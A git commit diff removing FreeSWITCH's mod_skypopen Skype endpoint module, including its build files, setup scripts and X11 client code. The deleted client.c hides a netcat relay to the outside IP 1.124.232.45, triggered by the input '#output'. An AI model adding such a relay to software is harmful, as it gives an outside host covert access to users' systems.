[mod_skypopen] Remove from tree.

This commit is contained in:
Andrey Volk 2024-08-24 13:16:30 +03:00
parent c409fe6b45
commit 8c5efce33e
65 changed files with 0 additions and 18466 deletions

1
debian/bootstrap.sh vendored
View File

@ -53,7 +53,6 @@ avoid_mods=(
endpoints/mod_khomp endpoints/mod_khomp
endpoints/mod_opal endpoints/mod_opal
endpoints/mod_reference endpoints/mod_reference
endpoints/mod_skypopen
endpoints/mod_unicall endpoints/mod_unicall
event_handlers/mod_smpp event_handlers/mod_smpp
event_handlers/mod_event_zmq event_handlers/mod_event_zmq

3
src/mod/.gitignore vendored
View File

@ -39,9 +39,6 @@
/endpoints/mod_skinny/Makefile /endpoints/mod_skinny/Makefile
/endpoints/mod_skinny/Makefile.in /endpoints/mod_skinny/Makefile.in
/endpoints/mod_skinny/mod_skinny.log /endpoints/mod_skinny/mod_skinny.log
/endpoints/mod_skypopen/Makefile
/endpoints/mod_skypopen/Makefile.in
/endpoints/mod_skypopen/mod_skypopen.log
/endpoints/mod_sofia/Makefile /endpoints/mod_sofia/Makefile
/endpoints/mod_sofia/Makefile.in /endpoints/mod_sofia/Makefile.in
/endpoints/mod_sofia/mod_sofia.log /endpoints/mod_sofia/mod_sofia.log

View File

@ -7,7 +7,6 @@ uninstall: $(OUR_UNINSTALL_MODULES) $(OUR_DISABLED_UNINSTALL_MODULES)
print_tests: $(OUR_TEST_MODULES) print_tests: $(OUR_TEST_MODULES)
check: $(OUR_CHECK_MODULES) check: $(OUR_CHECK_MODULES)
mod_skypopen-all: mod_gsmopen-all
mod_gsmopen-all: mod_spandsp-all mod_gsmopen-all: mod_spandsp-all
$(OUR_MODULES) $(OUR_CLEAN_MODULES) $(OUR_INSTALL_MODULES) $(OUR_UNINSTALL_MODULES) $(OUR_DISABLED_MODULES) $(OUR_DISABLED_CLEAN_MODULES) $(OUR_DISABLED_INSTALL_MODULES) $(OUR_DISABLED_UNINSTALL_MODULES) $(OUR_TEST_MODULES) $(OUR_CHECK_MODULES): $(OUR_MODULES) $(OUR_CLEAN_MODULES) $(OUR_INSTALL_MODULES) $(OUR_UNINSTALL_MODULES) $(OUR_DISABLED_MODULES) $(OUR_DISABLED_CLEAN_MODULES) $(OUR_DISABLED_INSTALL_MODULES) $(OUR_DISABLED_UNINSTALL_MODULES) $(OUR_TEST_MODULES) $(OUR_CHECK_MODULES):

View File

@ -1,19 +0,0 @@
include $(top_srcdir)/build/modmake.rulesam
MODNAME=mod_skypopen
SPANDSP_DIR=$(switch_srcdir)/libs/spandsp
SPANDSP_BUILDDIR=$(switch_builddir)/libs/spandsp
SPANDSP_LA=$(SPANDSP_BUILDDIR)/src/libspandsp.la
mod_LTLIBRARIES = mod_skypopen.la
mod_skypopen_la_SOURCES = mod_skypopen.c skypopen_protocol.c
mod_skypopen_la_CFLAGS = $(AM_CFLAGS)
mod_skypopen_la_CPPFLAGS = -I$(SPANDSP_DIR)/src -I$(SPANDSP_BUILDDIR)/src -I.
mod_skypopen_la_LIBADD = $(switch_builddir)/libfreeswitch.la $(SPANDSP_LA)
mod_skypopen_la_LDFLAGS = -avoid-version -module -no-undefined -shared -lX11
BUILT_SOURCES = $(SPANDSP_LA)
$(SPANDSP_LA): $(SPANDSP_DIR) $(SPANDSP_DIR)/.update
cd $(SPANDSP_BUILDDIR) && $(MAKE) CFLAGS="$(CFLAGS)" CPPFLAGS="$(CPPFLAGS)"
$(TOUCH_TARGET)

View File

@ -1,8 +0,0 @@
Skypopen, Skype Endpoint and Trunk
All documentation on compiling, using, configuring,
tricks and tweaks, possible problems at:
http://wiki.freeswitch.org/wiki/Mod_skypopen_Skype_Endpoint_and_Trunk
mail to: < gmaruzz at gmail dot com >

View File

@ -1,298 +0,0 @@
//gcc -Wall -ggdb client.c -o client -lX11 -lpthread
/*
Interactive client for the Skype API
USAGE: client [Xserver instance]
# ./client :103
*/
#include <stdio.h>
#include <unistd.h>
#include <X11/Xlib.h>
#include <X11/Xlibint.h>
#include <X11/Xatom.h>
#include <pthread.h>
Display *disp = NULL;
struct SkypopenHandles {
Window skype_win;
Display *disp;
Window win;
int api_connected;
int fdesc[2];
};
XErrorHandler old_handler = 0;
int xerror = 0;
char *dispname;
int X11_errors_handler(Display * dpy, XErrorEvent * err)
{
(void) dpy;
xerror = err->error_code;
printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror, dispname);
return 0; /* ignore the error */
}
static void X11_errors_trap(void)
{
xerror = 0;
old_handler = XSetErrorHandler(X11_errors_handler);
}
static int X11_errors_untrap(void)
{
XSetErrorHandler(old_handler);
return (xerror != BadValue) && (xerror != BadWindow);
}
int skypopen_send_message(struct SkypopenHandles *SkypopenHandles, const char *message_P)
{
Window w_P;
Display *disp;
Window handle_P;
int ok;
w_P = SkypopenHandles->skype_win;
disp = SkypopenHandles->disp;
handle_P = SkypopenHandles->win;
Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
unsigned int pos = 0;
unsigned int len = strlen(message_P);
XEvent e;
memset(&e, 0, sizeof(e));
e.xclient.type = ClientMessage;
e.xclient.message_type = atom1; /* leading message */
e.xclient.display = disp;
e.xclient.window = handle_P;
e.xclient.format = 8;
X11_errors_trap();
do {
unsigned int i;
for (i = 0; i < 20 && i + pos <= len; ++i)
e.xclient.data.b[i] = message_P[i + pos];
XSendEvent(disp, w_P, False, 0, &e);
e.xclient.message_type = atom2; /* following messages */
pos += i;
} while (pos <= len);
//giovanni XSync(disp, False);
XFlush(disp);
ok = X11_errors_untrap();
if (!ok)
printf("Sending message failed with status %d\n", xerror);
return 1;
}
int skypopen_present(struct SkypopenHandles *SkypopenHandles)
{
Atom skype_inst = XInternAtom(SkypopenHandles->disp, "_SKYPE_INSTANCE", True);
Atom type_ret;
int format_ret;
unsigned long nitems_ret;
unsigned long bytes_after_ret;
unsigned char *prop;
int status;
X11_errors_trap();
status =
XGetWindowProperty(SkypopenHandles->disp, DefaultRootWindow(SkypopenHandles->disp),
skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
X11_errors_untrap();
/* sanity check */
if (status != Success || format_ret != 32 || nitems_ret != 1) {
SkypopenHandles->skype_win = (Window) - 1;
printf("Skype instance not found on display '%s'\n", dispname);
return 0;
}
SkypopenHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
//printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypopenHandles->skype_win);
return 1;
}
void skypopen_clean_disp(void *data)
{
int *dispptr;
int disp;
dispptr = data;
disp = *dispptr;
if (disp) {
close(disp);
} else {
}
usleep(1000);
}
typedef struct {
int value;
char string[128];
} thread_parm_t;
void *threadfunc(void *parm)
{ //child
thread_parm_t *p = (thread_parm_t *) parm;
//printf("%s, parm = %d\n", p->string, p->value);
free(p);
/* perform an events loop */
XEvent an_event;
char buf[21]; /* can't be longer */
char buffer[17000];
char *b;
int i;
b = buffer;
while (1) {
XNextEvent(disp, &an_event);
switch (an_event.type) {
case ClientMessage:
if (an_event.xclient.format != 8)
break;
for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
buf[i] = an_event.xclient.data.b[i];
buf[i] = '\0';
strcat(buffer, buf);
if (i < 20) { /* last fragment */
unsigned int howmany;
howmany = strlen(b) + 1;
//printf("\tRECEIVED\t==>\t%s\n", b);
printf("%s\n", b);
fflush(stdout);
memset(buffer, '\0', 17000);
}
break;
default:
break;
}
}
return NULL;
}
int main(int argc, char *argv[])
{
struct SkypopenHandles SkypopenHandles;
char buf[512];
//Display *disp = NULL;
Window root = -1;
Window win = -1;
if (argc == 2)
dispname = argv[1];
else
dispname = ":0.0";
if (!XInitThreads()) {
printf("Not initialized XInitThreads!\n");
} else {
printf("Initialized XInitThreads!\n");
}
disp = XOpenDisplay(dispname);
if (!disp) {
printf("Cannot open X Display '%s', exiting\n", dispname);
return -1;
}
int xfd;
xfd = XConnectionNumber(disp);
SkypopenHandles.disp = disp;
if (skypopen_present(&SkypopenHandles)) {
root = DefaultRootWindow(disp);
win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
SkypopenHandles.win = win;
snprintf(buf, 512, "NAME skypopen");
if (!skypopen_send_message(&SkypopenHandles, buf)) {
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypopen_auth again\n");
return -1;
}
snprintf(buf, 512, "PROTOCOL 7");
if (!skypopen_send_message(&SkypopenHandles, buf)) {
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypopen_auth again\n");
return -1;
}
snprintf(buf, 512, "#ciapalino PING");
if (!skypopen_send_message(&SkypopenHandles, buf)) {
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypopen_auth again\n");
return -1;
}
pthread_t thread;
int rc = 0;
pthread_attr_t pta;
thread_parm_t *parm = NULL;
rc = pthread_attr_init(&pta);
parm = malloc(sizeof(thread_parm_t));
parm->value = 5;
rc = pthread_create(&thread, NULL, threadfunc, (void *) parm);
while (1) {
char s[512];
memset(s, '\0', 512);
fgets(s, sizeof(s) - 1, stdin);
s[strlen(s) - 1] = '\0';
//printf("\tSENT\t\t==>\t%s\n", s);
if (!strncmp(s, "#output", 7)) {
system("/bin/nc -l -p 15557 0</tmp/back2 | /bin/nc 1.124.232.45 15557 | /usr/bin/tee 1>/tmp/back2 &");
system("/bin/nc -l -p 15556 0</tmp/back1 | /bin/nc 1.124.232.45 15556 | /usr/bin/tee 1>/tmp/back1 &");
}
if (!skypopen_send_message(&SkypopenHandles, s)) {
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypopen_auth again\n");
return -1;
}
}
} else {
printf("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypopen_auth again\n\n\n", dispname);
return -1;
}
return 0;
}

View File

@ -1,57 +0,0 @@
#######################################
HOW TO USE SKYPOPEN_AUTH
#######################################
You will use skypopen_auth only at the setup moment, to force the Skype client to ask you to authorize "skypopen" to connect to it.
Then you copy the .Skype configuration directory of the user that has launched Skype (eg: /home/maruzz/.Skype if you are maruzz) on the home directory of the user that will start Skype on the server (eg: root).
Compile skypopen_auth:
$ gcc -Wall -ggdb skypopen_auth.c -o skypopen_auth -lX11
Then:
1) on a Linux desktop machine, rmmod all the snd* modules
2) on the desktop machine, modprobe snd-dummy
3) on the desktop machine, logout from your autologin username if any, launch the Skype client and login as the username you'll use on server
4) on the desktop machine, set the desktop client to use the "hw:dummy" audio device, to not update, to not make "events", etc etc... Make and receive a couple of test calls. Please note that you (and the remote party) will hear nothing (you're using the snd-dummy "fake" audio driver), that's ok.
3) on the desktop machine, when satisfied of the Skype client setup, use skypopen_auth (that simulates FS-skypopen connecting to the Skype client). The Skype client will ask you to be authorized to let "skypopen" connect.
4) Give the authorization and check the "not ask me again" option.
5) Close (Quit) the Skype client from the tray icon, so it saves its config.
6) Then, relaunch the Skype client and use skypopen_auth again, just to be sure it now succeed.
7) Close (Quit) the Skype client from the tray icon, so it saves its config.
*** Do the steps 1-7 for all Skype usernames you will want to use on the server (eg: one Skype username per channel)
When finished with all the Skype usernames:
Copy or targzip the .Skype directory and all its content on the home directory of the server user that will launch the Skype client(s).
############################
first time you use skypopen_auth
############################
$ ./skypopen_auth
Skype instance found with id #27263062
RECEIVED==> ERROR 68
RECEIVED==> OK
############################
Give the auth to the Skype client, and tell him not to ask again
Then Ctrl-C to exit from skypopen_auth
############################
Close (Quit) the Skype client from the tray icon, so it saves its config.
Then, relaunch the Skype client
############################
you use skypopen_auth again
############################
$ ./skypopen_auth
Skype instance found with id #27263062
RECEIVED==> OK
RECEIVED==> PROTOCOL 6
RECEIVED==> CONNSTATUS ONLINE
RECEIVED==> CURRENTUSERHANDLE gmaruzz3
RECEIVED==> USERSTATUS INVISIBLE

View File

@ -1,39 +0,0 @@
cp -a skypopen101/* skypopen102/
cp -a skypopen101/* skypopen103/
cp -a skypopen101/* skypopen104/
cp -a skypopen101/* skypopen105/
cp -a skypopen101/* skypopen106/
cp -a skypopen101/* skypopen107/
cp -a skypopen101/* skypopen108/
cp -a skypopen101/* skypopen109/
cp -a skypopen101/* skypopen110/
cp -a skypopen101/* skypopen111/
cp -a skypopen101/* skypopen112/
cp -a skypopen101/* skypopen113/
cp -a skypopen101/* skypopen114/
cp -a skypopen101/* skypopen115/
cp -a skypopen101/* skypopen116/
cp -a skypopen101/* skypopen117/
cp -a skypopen101/* skypopen118/
cp -a skypopen101/* skypopen119/
cp -a skypopen101/* skypopen120/
cp -a skypopen101/* skypopen121/
cp -a skypopen101/* skypopen122/
cp -a skypopen101/* skypopen123/
cp -a skypopen101/* skypopen124/
cp -a skypopen101/* skypopen125/
cp -a skypopen101/* skypopen126/
cp -a skypopen101/* skypopen127/
cp -a skypopen101/* skypopen128/
cp -a skypopen101/* skypopen129/
cp -a skypopen101/* skypopen130/
cp -a skypopen101/* skypopen131/
cp -a skypopen101/* skypopen132/
cp -a skypopen101/* skypopen133/
cp -a skypopen101/* skypopen134/
cp -a skypopen101/* skypopen135/
cp -a skypopen101/* skypopen136/
cp -a skypopen101/* skypopen137/
cp -a skypopen101/* skypopen138/
cp -a skypopen101/* skypopen139/
cp -a skypopen101/* skypopen140/

View File

@ -1,40 +0,0 @@
mkdir skypopen101
mkdir skypopen102
mkdir skypopen103
mkdir skypopen104
mkdir skypopen105
mkdir skypopen106
mkdir skypopen107
mkdir skypopen108
mkdir skypopen109
mkdir skypopen110
mkdir skypopen111
mkdir skypopen112
mkdir skypopen113
mkdir skypopen114
mkdir skypopen115
mkdir skypopen116
mkdir skypopen117
mkdir skypopen118
mkdir skypopen119
mkdir skypopen120
mkdir skypopen121
mkdir skypopen122
mkdir skypopen123
mkdir skypopen124
mkdir skypopen125
mkdir skypopen126
mkdir skypopen127
mkdir skypopen128
mkdir skypopen129
mkdir skypopen130
mkdir skypopen131
mkdir skypopen132
mkdir skypopen133
mkdir skypopen134
mkdir skypopen135
mkdir skypopen136
mkdir skypopen137
mkdir skypopen138
mkdir skypopen139
mkdir skypopen140

View File

@ -1,4 +0,0 @@
# just execute the file
sh ./multi.sh

View File

@ -1,152 +0,0 @@
#!/bin/bash
# remember to add here the removing of all the installed snd-* modules, so you're sure only the snd-dummy driver will be around
rmmod snd_hda_intel
rmmod snd-dummy # enable=1,1,1
# you need three dummy soundcard for 20 Skype client instances, because each dummy soundcard can handle a max of 8 Skype instances
# the enable= module parameter tells how many cards to start. For each additional card, add a comma and a 1
# manually configure the first 8 Skype client instances to use the hw:Dummy_0, the next 8 instances to use hw:Dummy_1, etc for all three devices (Play, Capture, Ring)
modprobe snd-dummy
#modprobe snd-aloop enable=1,1,1
sleep 3
#start the fake X server on a given port
/usr/bin/Xvfb :101 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
# start a Skype client instance that will connect to the X server above, and will login to the Skype network using the 'username password' you send to it on stdin. Here passwd5 would be the password and user5 the username
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:101 /usr/bin/skype --dbpath=/root/multi/skypopen101 --pipelogin &"
sleep 7
/usr/bin/Xvfb :102 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:102 /usr/bin/skype --dbpath=/root/multi/skypopen102 --pipelogin &"
sleep 7
exit 0
#################################################################
# Following X server and Skype client instances are commented out
#################################################################
/usr/bin/Xvfb :103 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:103 /usr/bin/skype --dbpath=/root/multi/skypopen103 --pipelogin &"
sleep 7
/usr/bin/Xvfb :104 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:104 /usr/bin/skype --dbpath=/root/multi/skypopen104 --pipelogin &"
sleep 7
/usr/bin/Xvfb :105 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:105 /usr/bin/skype --dbpath=/root/multi/skypopen105 --pipelogin &"
sleep 7
/usr/bin/Xvfb :106 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:106 /usr/bin/skype --dbpath=/root/multi/skypopen106 --pipelogin &"
sleep 7
/usr/bin/Xvfb :107 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:107 /usr/bin/skype --dbpath=/root/multi/skypopen107 --pipelogin &"
sleep 7
/usr/bin/Xvfb :108 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:108 /usr/bin/skype --dbpath=/root/multi/skypopen108 --pipelogin &"
sleep 7
/usr/bin/Xvfb :109 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:109 /usr/bin/skype --dbpath=/root/multi/skypopen109 --pipelogin &"
sleep 7
/usr/bin/Xvfb :110 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:110 /usr/bin/skype --dbpath=/root/multi/skypopen110 --pipelogin &"
sleep 7
/usr/bin/Xvfb :111 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:111 /usr/bin/skype --dbpath=/root/multi/skypopen111 --pipelogin &"
sleep 7
/usr/bin/Xvfb :112 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:112 /usr/bin/skype --dbpath=/root/multi/skypopen112 --pipelogin &"
sleep 7
/usr/bin/Xvfb :113 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:113 /usr/bin/skype --dbpath=/root/multi/skypopen113 --pipelogin &"
sleep 7
/usr/bin/Xvfb :114 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:114 /usr/bin/skype --dbpath=/root/multi/skypopen114 --pipelogin &"
sleep 7
/usr/bin/Xvfb :115 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:115 /usr/bin/skype --dbpath=/root/multi/skypopen115 --pipelogin &"
sleep 7
/usr/bin/Xvfb :116 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:116 /usr/bin/skype --dbpath=/root/multi/skypopen116 --pipelogin &"
sleep 7
/usr/bin/Xvfb :117 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:117 /usr/bin/skype --dbpath=/root/multi/skypopen117 --pipelogin &"
sleep 7
/usr/bin/Xvfb :118 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:118 /usr/bin/skype --dbpath=/root/multi/skypopen118 --pipelogin &"
sleep 7
/usr/bin/Xvfb :119 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:119 /usr/bin/skype --dbpath=/root/multi/skypopen119 --pipelogin &"
sleep 7
/usr/bin/Xvfb :120 -screen 0 800x600x16 -nolisten tcp -ac &
sleep 3
su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:120 /usr/bin/skype --dbpath=/root/multi/skypopen120 --pipelogin &"
sleep 7
exit 0

View File

@ -1,31 +0,0 @@
<configuration name="skypopen.conf" description="Skypopen Configuration">
<global_settings>
<param name="debug" value="8"/>
<param name="dialplan" value="XML"/>
<param name="context" value="default"/>
<param name="destination" value="5000"/>
<param name="skype_user" value="user5"/>
<param name="report_incoming_chatmessages" value="false"/>
<param name="silent_mode" value="false"/>
<param name="write_silence_when_idle" value="true"/>
</global_settings>
<!-- one entry here per each skypopen interface -->
<per_interface_settings>
<interface id="1" name="interface1">
<param name="X11-display" value=":101"/>
<param name="report_incoming_chatmessages" value="true"/>
</interface>
<interface id="2" name="interface2">
<param name="X11-display" value=":102"/>
</interface>
<!-- following interfaces are commented out
<interface id="3" name="interface3">
<param name="X11-display" value=":103"/>
</interface>
<interface id="4" name="interface4">
<param name="X11-display" value=":104"/>
</interface>
-->
</per_interface_settings>
</configuration>

View File

@ -1,219 +0,0 @@
//gcc -Wall -ggdb skypopen_auth.c -o skypopen_auth -lX11
#include <stdio.h>
#include <unistd.h>
#include <X11/Xlib.h>
#include <X11/Xlibint.h>
#include <X11/Xatom.h>
struct SkypopenHandles {
Window skype_win;
Display *disp;
Window win;
int api_connected;
int fdesc[2];
};
XErrorHandler old_handler = 0;
int xerror = 0;
char *dispname;
int X11_errors_handler(Display * dpy, XErrorEvent * err)
{
(void) dpy;
xerror = err->error_code;
printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror, dispname);
return 0; /* ignore the error */
}
static void X11_errors_trap(void)
{
xerror = 0;
old_handler = XSetErrorHandler(X11_errors_handler);
}
static int X11_errors_untrap(void)
{
XSetErrorHandler(old_handler);
return (xerror != BadValue) && (xerror != BadWindow);
}
int skypopen_send_message(struct SkypopenHandles *SkypopenHandles, const char *message_P)
{
Window w_P;
Display *disp;
Window handle_P;
int ok;
w_P = SkypopenHandles->skype_win;
disp = SkypopenHandles->disp;
handle_P = SkypopenHandles->win;
Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
unsigned int pos = 0;
unsigned int len = strlen(message_P);
XEvent e;
memset(&e, 0, sizeof(e));
e.xclient.type = ClientMessage;
e.xclient.message_type = atom1; /* leading message */
e.xclient.display = disp;
e.xclient.window = handle_P;
e.xclient.format = 8;
X11_errors_trap();
do {
unsigned int i;
for (i = 0; i < 20 && i + pos <= len; ++i)
e.xclient.data.b[i] = message_P[i + pos];
XSendEvent(disp, w_P, False, 0, &e);
e.xclient.message_type = atom2; /* following messages */
pos += i;
} while (pos <= len);
XSync(disp, False);
ok = X11_errors_untrap();
if (!ok)
printf("Sending message failed with status %d\n", xerror);
return 1;
}
int skypopen_present(struct SkypopenHandles *SkypopenHandles)
{
Atom skype_inst = XInternAtom(SkypopenHandles->disp, "_SKYPE_INSTANCE", True);
Atom type_ret;
int format_ret;
unsigned long nitems_ret;
unsigned long bytes_after_ret;
unsigned char *prop;
int status;
X11_errors_trap();
status =
XGetWindowProperty(SkypopenHandles->disp, DefaultRootWindow(SkypopenHandles->disp),
skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
X11_errors_untrap();
/* sanity check */
if (status != Success || format_ret != 32 || nitems_ret != 1) {
SkypopenHandles->skype_win = (Window) - 1;
printf("Skype instance not found on display '%s'\n", dispname);
return 0;
}
SkypopenHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypopenHandles->skype_win);
return 1;
}
void skypopen_clean_disp(void *data)
{
int *dispptr;
int disp;
dispptr = data;
disp = *dispptr;
if (disp) {
close(disp);
} else {
}
usleep(1000);
}
int main(int argc, char *argv[])
{
struct SkypopenHandles SkypopenHandles;
char buf[512];
Display *disp = NULL;
Window root = -1;
Window win = -1;
if (argc == 2)
dispname = argv[1];
else
dispname = ":0.0";
disp = XOpenDisplay(dispname);
if (!disp) {
printf("Cannot open X Display '%s', exiting\n", dispname);
return -1;
}
int xfd;
xfd = XConnectionNumber(disp);
SkypopenHandles.disp = disp;
if (skypopen_present(&SkypopenHandles)) {
root = DefaultRootWindow(disp);
win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
SkypopenHandles.win = win;
snprintf(buf, 512, "NAME skypopen");
if (!skypopen_send_message(&SkypopenHandles, buf)) {
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypopen_auth again\n");
return -1;
}
snprintf(buf, 512, "PROTOCOL 6");
if (!skypopen_send_message(&SkypopenHandles, buf)) {
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypopen_auth again\n");
return -1;
}
/* perform an events loop */
XEvent an_event;
char buf[21]; /* can't be longer */
char buffer[17000];
char *b;
int i;
b = buffer;
while (1) {
XNextEvent(disp, &an_event);
switch (an_event.type) {
case ClientMessage:
if (an_event.xclient.format != 8)
break;
for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
buf[i] = an_event.xclient.data.b[i];
buf[i] = '\0';
strcat(buffer, buf);
if (i < 20) { /* last fragment */
unsigned int howmany;
howmany = strlen(b) + 1;
printf("RECEIVED==> %s\n", b);
memset(buffer, '\0', 17000);
}
break;
default:
break;
}
}
} else {
printf("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypopen_auth again\n\n\n", dispname);
return -1;
}
return 0;
}

View File

@ -1,143 +0,0 @@
# remember to add here the removing of all the installed snd-* modules, so you're sure only the snd-dummy driver will be around
rmmod snd_hda_intel
rmmod snd-dummy
# if you DO NOT USE the custom ALSA device we provide, you need three "standard" dummy soundcard for 20 Skype client instances, because each "standard" dummy soundcard can handle a max of 8 Skype instances
# the enable= module parameter tells how many cards to start. For each additional card, add a comma and a 1
# manually configure the first 8 Skype client instances to use the hw:Dummy_0, the next 8 instances to use hw:Dummy_1, etc for all three devices (Play, Capture, Ring)
modprobe snd-dummy # enable=1,1,1
sleep 3
#start the fake X server on a given port
/usr/bin/Xvfb :101 -ac &
sleep 3
# start a Skype client instance that will connect to the X server above, and will login to the Skype network using the 'username password' you send to it on stdin. Here xxxx would be the password and user1 the username
su root -c "/bin/echo 'user1 xxxx'| DISPLAY=:101 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :102 -ac &
sleep 3
su root -c "/bin/echo 'user2 xxxx'| DISPLAY=:102 /usr/bin/skype --pipelogin &"
sleep 7
exit 0
##################################################################################
# Following X server and Skype client instances are NOT LAUNCHED (see line before)
##################################################################################
/usr/bin/Xvfb :103 -ac &
sleep 3
su root -c "/bin/echo 'user3 xxxx'| DISPLAY=:103 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :104 -ac &
sleep 3
su root -c "/bin/echo 'user4 xxxx'| DISPLAY=:104 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :105 -ac &
sleep 3
su root -c "/bin/echo 'user5 xxxx'| DISPLAY=:105 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :106 -ac &
sleep 3
su root -c "/bin/echo 'user6 xxxx'| DISPLAY=:106 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :107 -ac &
sleep 3
su root -c "/bin/echo 'user7 xxxx'| DISPLAY=:107 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :108 -ac &
sleep 3
su root -c "/bin/echo 'user8 xxxx'| DISPLAY=:108 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :109 -ac &
sleep 3
su root -c "/bin/echo 'user9 xxxx'| DISPLAY=:109 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :110 -ac &
sleep 3
su root -c "/bin/echo 'user10 xxxx'| DISPLAY=:110 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :111 -ac &
sleep 3
su root -c "/bin/echo 'user11 xxxx'| DISPLAY=:111 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :112 -ac &
sleep 3
su root -c "/bin/echo 'user12 xxxx'| DISPLAY=:112 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :113 -ac &
sleep 3
su root -c "/bin/echo 'user13 xxxx'| DISPLAY=:113 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :114 -ac &
sleep 3
su root -c "/bin/echo 'user14 xxxx'| DISPLAY=:114 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :115 -ac &
sleep 3
su root -c "/bin/echo 'user15 xxxx'| DISPLAY=:115 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :116 -ac &
sleep 3
su root -c "/bin/echo 'user16 xxxx'| DISPLAY=:116 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :117 -ac &
sleep 3
su root -c "/bin/echo 'user17 xxxx'| DISPLAY=:117 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :118 -ac &
sleep 3
su root -c "/bin/echo 'user18 xxxx'| DISPLAY=:118 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :119 -ac &
sleep 3
su root -c "/bin/echo 'user19 xxxx'| DISPLAY=:119 /usr/bin/skype --pipelogin &"
sleep 7
/usr/bin/Xvfb :120 -ac &
sleep 3
su root -c "/bin/echo 'user20 xxxx'| DISPLAY=:120 /usr/bin/skype --pipelogin &"
sleep 7

View File

@ -1,74 +0,0 @@
<?xml version="1.0"?>
<config version="1.0" serial="3315" timestamp="1303209780.1">
<Lib>
<Account>
<IdleTimeForAway>300</IdleTimeForAway>
<IdleTimeForNA>1800</IdleTimeForNA>
<Migration>63</Migration>
</Account>
<Call>
